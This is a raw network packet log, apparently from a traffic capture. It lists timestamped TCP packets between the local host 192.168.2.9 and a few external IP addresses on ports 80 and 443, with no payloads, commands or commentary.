Sep 21, 2024 13:33:42.652754068 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652776003 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652786970 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.652813911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652820110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652848005 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.652853966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652873993 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652889013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652920961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652926922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652926922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.652957916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.652990103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653001070 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653001070 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653023005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653057098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653065920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653065920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653090000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653124094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653161049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653171062 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653189898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653213978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653225899 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.653237104 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653376102 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.653408051 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.653428078 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.653439999 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.653455019 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.653476000 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.653486013 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.653510094 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.653521061 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.653544903 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.653573990 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.653574944 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.653589010 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.653609037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653637886 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.653642893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653662920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653677940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653712034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653716087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653716087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653744936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653840065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653896093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653928995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653958082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653990984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.653995991 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.653995991 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654023886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654057980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654090881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654124975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654131889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654131889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654156923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654190063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654223919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654228926 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654228926 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654257059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654289007 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.654319048 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.654339075 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.654351950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654352903 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654362917 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.654385090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654419899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654424906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654424906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654453039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654484987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.654489040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654489040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654517889 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.654551983 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.654568911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.654584885 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.654603004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.654616117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.654908895 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.654984951 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655018091 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655050039 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655081987 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655113935 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655147076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655180931 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655189037 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.655189037 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.655189037 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.655205965 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.655217886 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655236006 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.655236006 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.655251980 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655268908 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.655283928 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.655299902 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.655299902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655334949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655356884 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.655363083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.655370951 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655380011 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.655437946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655472040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655505896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655508995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.655508995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.655535936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655550003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655566931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655570030 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.655582905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655599117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655612946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.655617952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.655617952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.655666113 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.655666113 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656493902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656519890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656536102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656542063 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656552076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656568050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656578064 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656578064 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656583071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656599045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656614065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656614065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656614065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656630039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656645060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656663895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656663895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656929970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656945944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656958103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.656972885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656972885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.656977892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657001972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657004118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657004118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657016993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657032013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657032013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657032013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657048941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657049894 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657063007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657078981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657084942 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657084942 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657094002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657114983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657114983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657115936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657131910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657136917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657147884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657171011 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657171011 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657280922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657919884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657934904 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657948971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657964945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657979965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.657984972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657984972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.657995939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.658010960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.658025980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.658030033 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.658030033 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.658041000 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658057928 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658071995 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658071995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.658087015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.658091068 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.658102989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.658114910 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.658225060 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.658766985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.658782959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.658797026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.658812046 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.658813000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.658828020 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658844948 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658859015 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658869982 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.658870935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.658874035 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658874989 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.658889055 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658891916 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.658905983 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658909082 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.658922911 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658932924 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.658938885 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658948898 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.658955097 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658966064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.658971071 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658982992 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.658987999 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.658999920 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.659003973 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.659015894 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.659020901 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.659037113 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.659187078 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.659715891 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.659732103 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.659745932 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.659761906 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.659776926 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.659780025 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.659794092 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.659811974 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.659979105 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.659993887 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.660218000 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.660275936 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.660291910 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.660306931 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.660320997 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.660336971 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.660336971 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.660352945 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.660358906 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.660368919 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.660371065 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.660384893 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.660397053 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.660410881 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.660480976 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.660486937 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.661283970 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.661303043 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.661317110 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.661354065 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.661354065 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.661441088 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.661495924 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.661504030 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.661511898 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.661554098 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.661554098 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.662216902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662231922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662246943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662261963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662261963 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.662276030 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.662276983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662295103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662311077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662345886 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.662347078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.662362099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.662362099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.662468910 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:42.662496090 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:42.662548065 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:42.662547112 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:42.662548065 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:42.662817955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662833929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662847996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662880898 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:42.662892103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.662892103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.662962914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662980080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.662993908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.663009882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.663013935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.663013935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.663049936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.663049936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.663115025 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.663155079 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.663229942 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.663295031 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.663983107 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.663997889 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664011955 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664026976 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664037943 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664041996 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664053917 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664058924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664073944 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664077044 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664091110 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664107084 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664113998 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664124012 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664127111 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664141893 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664151907 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664158106 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664167881 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664172888 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.664184093 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664197922 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664263010 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.664279938 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.664316893 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.664856911 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.664916039 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.664937019 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.664982080 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.664987087 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.665000916 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.665033102 CEST	49726	443	192.168.2.9	162.241.61.218
